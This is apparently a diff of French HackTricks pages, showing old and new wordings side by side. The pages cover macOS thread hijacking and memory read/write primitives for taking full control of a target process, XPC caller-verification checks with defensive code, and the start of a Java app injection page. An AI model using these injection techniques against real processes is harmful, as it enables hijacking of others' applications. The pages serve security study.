Une stratégie implique de **enregistrer un gestionnaire d'exception** pour le thread distant en utilisant `thread_set_exception_ports()`, en définissant le registre `lr` sur une adresse invalide avant l'appel de fonction. Cela déclenche une exception après l'exécution de la fonction, envoie un message au port d'exception, permettant l'inspection de l'état du thread pour récupérer la valeur de retour. Alternativement, comme adopté de l'exploit triple\_fetch de Ian Beer, `lr` est défini pour boucler indéfiniment. Les registres du thread sont ensuite surveillés en continu jusqu'à ce que **`pc` pointe vers cette instruction**.
|
||||
Une stratégie consiste à **enregistrer un gestionnaire d'exception** pour le thread distant en utilisant `thread_set_exception_ports()`, en définissant le registre `lr` sur une adresse invalide avant l'appel de fonction. Cela déclenche une exception après l'exécution de la fonction, envoyant un message au port d'exception, permettant l'inspection de l'état du thread pour récupérer la valeur de retour. Alternativement, comme adopté de l'exploit triple\_fetch d'Ian Beer, `lr` est défini pour boucler indéfiniment. Les registres du thread sont ensuite continuellement surveillés jusqu'à ce que **`pc` pointe vers cette instruction**.
|
||||
|
||||
## 2. Ports Mach pour la communication
|
||||
|
||||
La phase suivante implique l'établissement de ports Mach pour faciliter la communication avec le thread distant. Ces ports sont essentiels pour transférer des droits d'envoi et de réception arbitraires entre les tâches.
|
||||
La phase suivante consiste à établir des ports Mach pour faciliter la communication avec le thread distant. Ces ports sont essentiels pour transférer des droits d'envoi et de réception arbitraires entre les tâches.
|
||||
|
||||
Pour une communication bidirectionnelle, deux droits de réception Mach sont créés : un dans la tâche locale et l'autre dans la tâche distante. Ensuite, un droit d'envoi pour chaque port est transféré à la tâche correspondante, permettant l'échange de messages.
|
||||
|
||||
En se concentrant sur le port local, le droit de réception est détenu par la tâche locale. Le port est créé avec `mach_port_allocate()`. Le défi réside dans le transfert d'un droit d'envoi vers ce port dans la tâche distante.
|
||||
|
||||
Une stratégie implique de tirer parti de `thread_set_special_port()` pour placer un droit d'envoi vers le port local dans le `THREAD_KERNEL_PORT` du thread distant. Ensuite, le thread distant est instruit d'appeler `mach_thread_self()` pour récupérer le droit d'envoi.
|
||||
Une stratégie consiste à tirer parti de `thread_set_special_port()` pour placer un droit d'envoi vers le port local dans le `THREAD_KERNEL_PORT` du thread distant. Ensuite, le thread distant est instruit d'appeler `mach_thread_self()` pour récupérer le droit d'envoi.
|
||||
|
||||
Pour le port distant, le processus est essentiellement inversé. Le thread distant est dirigé pour générer un port Mach via `mach_reply_port()` (comme `mach_port_allocate()` est inadapté en raison de son mécanisme de retour). Après la création du port, `mach_port_insert_right()` est invoqué dans le thread distant pour établir un droit d'envoi. Ce droit est ensuite caché dans le noyau en utilisant `thread_set_special_port()`. De retour dans la tâche locale, `thread_get_special_port()` est utilisé sur le thread distant pour acquérir un droit d'envoi vers le nouveau port Mach alloué dans la tâche distante.
|
||||
Pour le port distant, le processus est essentiellement inversé. Le thread distant est dirigé pour générer un port Mach via `mach_reply_port()` (car `mach_port_allocate()` n'est pas adapté en raison de son mécanisme de retour). Une fois le port créé, `mach_port_insert_right()` est invoqué dans le thread distant pour établir un droit d'envoi. Ce droit est ensuite stocké dans le noyau en utilisant `thread_set_special_port()`. De retour dans la tâche locale, `thread_get_special_port()` est utilisé sur le thread distant pour acquérir un droit d'envoi vers le nouveau port Mach alloué dans la tâche distante.
|
||||
|
||||
L'achèvement de ces étapes aboutit à l'établissement de ports Mach, posant les bases pour une communication bidirectionnelle.
|
||||
L'achèvement de ces étapes aboutit à l'établissement de ports Mach, posant les bases d'une communication bidirectionnelle.
|
||||
|
||||
## 3. Primitives de lecture/écriture de mémoire de base
|
||||
## 3. Primitives de lecture/écriture mémoire de base
|
||||
|
||||
Dans cette section, l'accent est mis sur l'utilisation de la primitive d'exécution pour établir des primitives de lecture et d'écriture de mémoire de base. Ces premières étapes sont cruciales pour obtenir un plus grand contrôle sur le processus distant, bien que les primitives à ce stade ne servent pas à grand-chose. Bientôt, elles seront améliorées pour des versions plus avancées.
|
||||
Dans cette section, l'accent est mis sur l'utilisation de la primitive d'exécution pour établir des primitives de lecture et d'écriture mémoire de base. Ces étapes initiales sont cruciales pour obtenir plus de contrôle sur le processus distant, bien que les primitives à ce stade ne serviront pas à beaucoup de choses. Bientôt, elles seront mises à niveau vers des versions plus avancées.
|
||||
|
||||
### Lecture et écriture de mémoire en utilisant la primitive d'exécution
|
||||
|
||||
L'objectif est d'effectuer la lecture et l'écriture de mémoire en utilisant des fonctions spécifiques. Pour la lecture de mémoire, des fonctions ressemblant à la structure suivante sont utilisées :
|
||||
L'objectif est d'effectuer des lectures et des écritures de mémoire en utilisant des fonctions spécifiques. Pour lire la mémoire, des fonctions ressemblant à la structure suivante sont utilisées :
|
||||
```c
|
||||
uint64_t read_func(uint64_t *address) {
|
||||
return *address;
|
||||
}
|
||||
```
|
||||
Et pour écrire en mémoire, des fonctions similaires à cette structure sont utilisées :
|
||||
Et pour écrire dans la mémoire, des fonctions similaires à cette structure sont utilisées :
|
||||
```c
|
||||
void write_func(uint64_t *address, uint64_t value) {
|
||||
*address = value;
|
||||
|
@ -71,21 +72,21 @@ _write_func:
|
|||
str x1, [x0]
|
||||
ret
|
||||
```
|
||||
### Identification des fonctions appropriées
|
||||
### Identifier des Fonctions Appropriées
|
||||
|
||||
Une analyse des bibliothèques courantes a révélé des candidats appropriés pour ces opérations :
|
||||
Un scan des bibliothèques courantes a révélé des candidats appropriés pour ces opérations :
|
||||
|
||||
1. **Lecture de la mémoire :**
|
||||
La fonction `property_getName()` de la [bibliothèque d'exécution Objective-C](https://opensource.apple.com/source/objc4/objc4-723/runtime/objc-runtime-new.mm.auto.html) est identifiée comme une fonction appropriée pour la lecture de la mémoire. La fonction est décrite ci-dessous :
|
||||
1. **Lecture de la Mémoire :**
|
||||
La fonction `property_getName()` de la [bibliothèque d'exécution Objective-C](https://opensource.apple.com/source/objc4/objc4-723/runtime/objc-runtime-new.mm.auto.html) est identifiée comme une fonction appropriée pour lire la mémoire. La fonction est décrite ci-dessous :
|
||||
```c
|
||||
const char *property_getName(objc_property_t prop) {
|
||||
return prop->name;
|
||||
}
|
||||
```
|
||||
Cette fonction agit efficacement comme la `read_func` en retournant le premier champ de `objc_property_t`.
|
||||
Cette fonction agit effectivement comme le `read_func` en retournant le premier champ de `objc_property_t`.
|
||||
|
||||
2. **Écriture en mémoire :**
|
||||
Trouver une fonction pré-construite pour écrire en mémoire est plus difficile. Cependant, la fonction `_xpc_int64_set_value()` de libxpc est un candidat approprié avec le désassemblage suivant :
|
||||
2. **Écriture en mémoire :**
|
||||
Trouver une fonction préconstruite pour écrire en mémoire est plus difficile. Cependant, la fonction `_xpc_int64_set_value()` de libxpc est un candidat approprié avec le désassemblage suivant :
|
||||
```c
|
||||
__xpc_int64_set_value:
|
||||
str x1, [x0, #0x18]
|
||||
|
@ -95,35 +96,35 @@ Pour effectuer une écriture 64 bits à une adresse spécifique, l'appel distant
|
|||
```c
|
||||
_xpc_int64_set_value(address - 0x18, value)
|
||||
```
|
||||
Avec ces primitives établies, la scène est prête pour créer une mémoire partagée, marquant une progression significative dans le contrôle du processus distant.
|
||||
Avec ces primitives établies, la scène est prête pour créer de la mémoire partagée, marquant une progression significative dans le contrôle du processus distant.
|
||||
|
||||
## 4. Configuration de la mémoire partagée
|
||||
|
||||
L'objectif est d'établir une mémoire partagée entre les tâches locales et distantes, simplifiant le transfert de données et facilitant l'appel de fonctions avec plusieurs arguments. L'approche implique l'utilisation de `libxpc` et de son type d'objet `OS_xpc_shmem`, qui est basé sur les entrées de mémoire Mach.
|
||||
L'objectif est d'établir une mémoire partagée entre les tâches locales et distantes, simplifiant le transfert de données et facilitant l'appel de fonctions avec plusieurs arguments. L'approche consiste à tirer parti de `libxpc` et de son type d'objet `OS_xpc_shmem`, qui est construit sur des entrées de mémoire Mach.
|
||||
|
||||
### Aperçu du processus :
|
||||
|
||||
1. **Allocation de mémoire** :
|
||||
- Allouer la mémoire à partager en utilisant `mach_vm_allocate()`.
|
||||
- Allouer la mémoire pour le partage en utilisant `mach_vm_allocate()`.
|
||||
- Utiliser `xpc_shmem_create()` pour créer un objet `OS_xpc_shmem` pour la région de mémoire allouée. Cette fonction gérera la création de l'entrée de mémoire Mach et stockera le droit d'envoi Mach à l'offset `0x18` de l'objet `OS_xpc_shmem`.
|
||||
|
||||
2. **Création de mémoire partagée dans le processus distant** :
|
||||
2. **Création de la mémoire partagée dans le processus distant** :
|
||||
- Allouer de la mémoire pour l'objet `OS_xpc_shmem` dans le processus distant avec un appel distant à `malloc()`.
|
||||
- Copier le contenu de l'objet `OS_xpc_shmem` local vers le processus distant. Cependant, cette copie initiale aura des noms d'entrée de mémoire Mach incorrects à l'offset `0x18`.
|
||||
- Copier le contenu de l'objet local `OS_xpc_shmem` vers le processus distant. Cependant, cette copie initiale aura des noms d'entrées de mémoire Mach incorrects à l'offset `0x18`.
|
||||
|
||||
3. **Correction de l'entrée de mémoire Mach** :
|
||||
- Utiliser la méthode `thread_set_special_port()` pour insérer un droit d'envoi pour l'entrée de mémoire Mach dans la tâche distante.
|
||||
- Corriger le champ d'entrée de mémoire Mach à l'offset `0x18` en l'écrasant avec le nom de l'entrée de mémoire distante.
|
||||
- Corriger le champ d'entrée de mémoire Mach à l'offset `0x18` en le remplaçant par le nom de l'entrée de mémoire distante.
|
||||
|
||||
4. **Finalisation de la configuration de la mémoire partagée** :
|
||||
- Valider l'objet `OS_xpc_shmem` distant.
|
||||
- Établir la cartographie de mémoire partagée avec un appel distant à `xpc_shmem_remote()`.
|
||||
- Établir la cartographie de la mémoire partagée avec un appel distant à `xpc_shmem_remote()`.
|
||||
|
||||
En suivant ces étapes, la mémoire partagée entre les tâches locales et distantes sera configurée de manière efficace, permettant des transferts de données simples et l'exécution de fonctions nécessitant plusieurs arguments.
|
||||
En suivant ces étapes, la mémoire partagée entre les tâches locales et distantes sera efficacement configurée, permettant des transferts de données simples et l'exécution de fonctions nécessitant plusieurs arguments.
|
||||
|
||||
## Extraits de code supplémentaires
|
||||
|
||||
Pour l'allocation de mémoire et la création d'objet de mémoire partagée :
|
||||
Pour l'allocation de mémoire et la création d'objets de mémoire partagée :
|
||||
```c
|
||||
mach_vm_allocate();
|
||||
xpc_shmem_create();
|
||||
|
@ -133,31 +134,48 @@ Pour créer et corriger l'objet de mémoire partagée dans le processus distant
|
|||
malloc(); // for allocating memory remotely
|
||||
thread_set_special_port(); // for inserting send right
|
||||
```
|
||||
## 5. Atteindre un contrôle total
|
||||
N'oubliez pas de gérer correctement les détails des ports Mach et des noms d'entrée de mémoire pour garantir que la configuration de la mémoire partagée fonctionne correctement.
|
||||
|
||||
Après avoir établi avec succès le partage de mémoire et obtenu des capacités d'exécution arbitraires, nous avons essentiellement pris le contrôle total du processus cible. Les fonctionnalités clés permettant ce contrôle sont :
|
||||
## 5. Obtenir un Contrôle Complet
|
||||
|
||||
1. **Opérations mémoire arbitraires** :
|
||||
- Effectuer des lectures mémoire arbitraires en invoquant `memcpy()` pour copier des données de la région partagée.
|
||||
- Exécuter des écritures mémoire arbitraires en utilisant `memcpy()` pour transférer des données vers la région partagée.
|
||||
Après avoir établi avec succès la mémoire partagée et acquis des capacités d'exécution arbitraire, nous avons essentiellement obtenu un contrôle total sur le processus cible. Les fonctionnalités clés permettant ce contrôle sont :
|
||||
|
||||
2. **Gestion des appels de fonctions avec plusieurs arguments** :
|
||||
- Pour les fonctions nécessitant plus de 8 arguments, organiser les arguments supplémentaires sur la pile conformément à la convention d'appel.
|
||||
1. **Opérations de Mémoire Arbitraires** :
|
||||
- Effectuer des lectures de mémoire arbitraires en invoquant `memcpy()` pour copier des données de la région partagée.
|
||||
- Exécuter des écritures de mémoire arbitraires en utilisant `memcpy()` pour transférer des données vers la région partagée.
|
||||
|
||||
3. **Transfert de port Mach** :
|
||||
- Transférer des ports Mach entre les tâches via des messages Mach via les ports précédemment établis.
|
||||
2. **Gestion des Appels de Fonction avec Plusieurs Arguments** :
|
||||
- Pour les fonctions nécessitant plus de 8 arguments, disposer les arguments supplémentaires sur la pile conformément à la convention d'appel.
|
||||
|
||||
4. **Transfert de descripteur de fichier** :
|
||||
- Transférer des descripteurs de fichier entre les processus en utilisant des fileports, une technique mise en avant par Ian Beer dans `triple_fetch`.
|
||||
3. **Transfert de Port Mach** :
|
||||
- Transférer des ports Mach entre les tâches via des messages Mach par le biais de ports préalablement établis.
|
||||
|
||||
Ce contrôle complet est encapsulé dans la bibliothèque [threadexec](https://github.com/bazad/threadexec), fournissant une implémentation détaillée et une API conviviale pour interagir avec le processus cible.
|
||||
4. **Transfert de Descripteurs de Fichier** :
|
||||
- Transférer des descripteurs de fichier entre les processus en utilisant des fileports, une technique mise en avant par Ian Beer dans `triple_fetch`.
|
||||
|
||||
## Considérations importantes :
|
||||
Ce contrôle complet est encapsulé dans la bibliothèque [threadexec](https://github.com/bazad/threadexec), fournissant une mise en œuvre détaillée et une API conviviale pour interagir avec le processus victime.
|
||||
|
||||
- Assurez-vous d'utiliser correctement `memcpy()` pour les opérations de lecture/écriture mémoire afin de maintenir la stabilité du système et l'intégrité des données.
|
||||
- Lors du transfert de ports Mach ou de descripteurs de fichiers, suivez les protocoles appropriés et gérez les ressources de manière responsable pour éviter les fuites ou les accès non intentionnels.
|
||||
## Considérations Importantes :
|
||||
|
||||
En respectant ces directives et en utilisant la bibliothèque `threadexec`, on peut gérer et interagir efficacement avec les processus à un niveau granulaire, en prenant le contrôle total du processus cible.
|
||||
- Assurez-vous d'utiliser correctement `memcpy()` pour les opérations de lecture/écriture en mémoire afin de maintenir la stabilité du système et l'intégrité des données.
|
||||
- Lors du transfert de ports Mach ou de descripteurs de fichier, suivez les protocoles appropriés et gérez les ressources de manière responsable pour éviter les fuites ou les accès non intentionnels.
|
||||
|
||||
En respectant ces directives et en utilisant la bibliothèque `threadexec`, on peut gérer et interagir efficacement avec les processus à un niveau granulaire, obtenant ainsi un contrôle total sur le processus cible.
|
||||
|
||||
## Références
|
||||
* [https://bazad.github.io/2018/10/bypassing-platform-binary-task-threads/](https://bazad.github.io/2018/10/bypassing-platform-binary-task-threads/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,40 +1,41 @@
|
|||
# Vérification du processus de connexion macOS XPC
|
||||
# macOS XPC Connecting Process Check
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Vérification du processus de connexion XPC
|
||||
## XPC Connecting Process Check
|
||||
|
||||
Lorsqu'une connexion est établie avec un service XPC, le serveur vérifie si la connexion est autorisée. Voici les vérifications habituellement effectuées :
|
||||
Lorsqu'une connexion est établie à un service XPC, le serveur vérifiera si la connexion est autorisée. Voici les vérifications qu'il effectuerait généralement :
|
||||
|
||||
1. Vérifier si le processus de connexion est signé avec un certificat **signé par Apple** (uniquement délivré par Apple).
|
||||
* Si cela n'est **pas vérifié**, un attaquant pourrait créer un **faux certificat** pour correspondre à tout autre contrôle.
|
||||
2. Vérifier si le processus de connexion est signé avec le certificat de **l'organisation** (vérification de l'ID de l'équipe).
|
||||
* Si cela n'est **pas vérifié**, **n'importe quel certificat de développeur** d'Apple peut être utilisé pour signer et se connecter au service.
|
||||
3. Vérifier si le processus de connexion **contient un ID de bundle approprié**.
|
||||
* Si cela n'est **pas vérifié**, n'importe quel outil **signé par la même organisation** pourrait être utilisé pour interagir avec le service XPC.
|
||||
4. (4 ou 5) Vérifier si le processus de connexion a un **numéro de version logicielle approprié**.
|
||||
* Si cela n'est **pas vérifié**, des clients anciens et non sécurisés, vulnérables à l'injection de processus, pourraient être utilisés pour se connecter au service XPC même avec les autres contrôles en place.
|
||||
5. (4 ou 5) Vérifier si le processus de connexion a un runtime renforcé sans droits dangereux (comme ceux qui permettent de charger des bibliothèques arbitraires ou d'utiliser des variables d'environnement DYLD)
|
||||
* Si cela n'est **pas vérifié**, le client pourrait être **vulnérable à l'injection de code**
|
||||
6. Vérifier si le processus de connexion a un **droit** qui lui permet de se connecter au service. Cela s'applique aux binaires Apple.
|
||||
7. La **vérification** doit être **basée** sur le **jeton d'audit du client** **au lieu** de son ID de processus (**PID**) car cela empêche les **attaques de réutilisation de PID**.
|
||||
* Les développeurs **utilisent rarement l'appel API du jeton d'audit** car il est **privé**, donc Apple pourrait **changer** à tout moment. De plus, l'utilisation d'API privées n'est pas autorisée dans les applications Mac App Store.
|
||||
* Si la méthode **`processIdentifier`** est utilisée, elle pourrait être vulnérable
|
||||
* **`xpc_dictionary_get_audit_token`** devrait être utilisé à la place de **`xpc_connection_get_audit_token`**, car le dernier pourrait également être [vulnérable dans certaines situations](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/).
|
||||
1. Vérifiez si le **processus de connexion est signé avec un certificat signé par Apple** (délivré uniquement par Apple).
|
||||
* Si cela **n'est pas vérifié**, un attaquant pourrait créer un **certificat falsifié** pour correspondre à toute autre vérification.
|
||||
2. Vérifiez si le processus de connexion est signé avec le **certificat de l'organisation** (vérification de l'ID d'équipe).
|
||||
* Si cela **n'est pas vérifié**, **tout certificat de développeur** d'Apple peut être utilisé pour signer et se connecter au service.
|
||||
3. Vérifiez si le processus de connexion **contient un ID de bundle approprié**.
|
||||
* Si cela **n'est pas vérifié**, tout outil **signé par la même organisation** pourrait être utilisé pour interagir avec le service XPC.
|
||||
4. (4 ou 5) Vérifiez si le processus de connexion a un **numéro de version de logiciel approprié**.
|
||||
* Si cela **n'est pas vérifié**, un ancien client non sécurisé, vulnérable à l'injection de processus, pourrait être utilisé pour se connecter au service XPC même avec les autres vérifications en place.
|
||||
5. (4 ou 5) Vérifiez si le processus de connexion a un runtime durci sans droits dangereux (comme ceux qui permettent de charger des bibliothèques arbitraires ou d'utiliser des variables d'environnement DYLD).
|
||||
1. Si cela **n'est pas vérifié**, le client pourrait être **vulnérable à l'injection de code**.
|
||||
6. Vérifiez si le processus de connexion a un **droit** qui lui permet de se connecter au service. Cela s'applique aux binaires Apple.
|
||||
7. La **vérification** doit être **basée** sur le **jeton d'audit du client de connexion** **au lieu** de son ID de processus (**PID**) car le premier empêche les **attaques de réutilisation de PID**.
|
||||
* Les développeurs **utilisent rarement l'API de jeton d'audit** car elle est **privée**, donc Apple pourrait **changer** à tout moment. De plus, l'utilisation d'API privées n'est pas autorisée dans les applications du Mac App Store.
|
||||
* Si la méthode **`processIdentifier`** est utilisée, elle pourrait être vulnérable.
|
||||
* **`xpc_dictionary_get_audit_token`** devrait être utilisé à la place de **`xpc_connection_get_audit_token`**, car ce dernier pourrait également être [vulnérable dans certaines situations](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/).
|
||||
|
||||
### Attaques de communication
|
||||
### Communication Attacks
|
||||
|
||||
Pour plus d'informations sur l'attaque de réutilisation de PID, consultez :
|
||||
|
||||
|
@ -48,13 +49,13 @@ Pour plus d'informations sur l'attaque **`xpc_connection_get_audit_token`**, con
|
|||
[macos-xpc\_connection\_get\_audit\_token-attack.md](macos-xpc\_connection\_get\_audit\_token-attack.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Trustcache - Prévention des attaques par rétrogradation
|
||||
### Trustcache - Downgrade Attacks Prevention
|
||||
|
||||
Trustcache est une méthode défensive introduite dans les machines Apple Silicon qui stocke une base de données de CDHSAH des binaires Apple afin que seuls les binaires non modifiés autorisés puissent être exécutés. Ce qui empêche l'exécution de versions antérieures.
|
||||
Trustcache est une méthode défensive introduite dans les machines Apple Silicon qui stocke une base de données de CDHSAH des binaires Apple afin que seuls les binaires non modifiés autorisés puissent être exécutés. Cela empêche l'exécution de versions rétrogrades.
|
||||
|
||||
### Exemples de code
|
||||
### Code Examples
|
||||
|
||||
Le serveur implémentera cette **vérification** dans une fonction appelée **`shouldAcceptNewConnection`**.
|
||||
Le serveur mettra en œuvre cette **vérification** dans une fonction appelée **`shouldAcceptNewConnection`**.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```objectivec
|
||||
|
@ -65,7 +66,7 @@ return YES;
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
L'objet NSXPCConnection possède une propriété **privée** **`auditToken`** (celle qui devrait être utilisée mais qui pourrait changer) et une propriété **publique** **`processIdentifier`** (celle qui ne devrait pas être utilisée).
|
||||
L'objet NSXPCConnection a une propriété **privée** **`auditToken`** (celle qui devrait être utilisée mais pourrait changer) et une propriété **publique** **`processIdentifier`** (celle qui ne devrait pas être utilisée).
|
||||
|
||||
Le processus de connexion pourrait être vérifié avec quelque chose comme :
|
||||
|
||||
|
@ -91,7 +92,7 @@ SecTaskValidateForRequirement(taskRef, (__bridge CFStringRef)(requirementString)
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Si un développeur ne souhaite pas vérifier la version du client, il pourrait au moins s'assurer que le client n'est pas vulnérable à l'injection de processus :
|
||||
Si un développeur ne veut pas vérifier la version du client, il pourrait vérifier que le client n'est pas vulnérable à l'injection de processus au moins :
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```objectivec
|
||||
|
@ -108,20 +109,19 @@ if ((csFlags & (cs_hard | cs_require_lv)) {
|
|||
return Yes; // Accept connection
|
||||
}
|
||||
```
|
||||
```markdown
|
||||
{% endcode %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
```
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,22 +1,23 @@
|
|||
# Injection d'applications Java sur macOS
|
||||
# macOS Java Applications Injection
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Énumération
|
||||
|
||||
Trouvez les applications Java installées sur votre système. Il a été remarqué que les applications Java dans le fichier **Info.plist** contiendront certains paramètres Java qui contiennent la chaîne **`java.`**, vous pouvez donc rechercher cela :
|
||||
Trouvez les applications Java installées sur votre système. Il a été remarqué que les applications Java dans le **Info.plist** contiendront certains paramètres java qui contiennent la chaîne **`java.`**, vous pouvez donc rechercher cela :
|
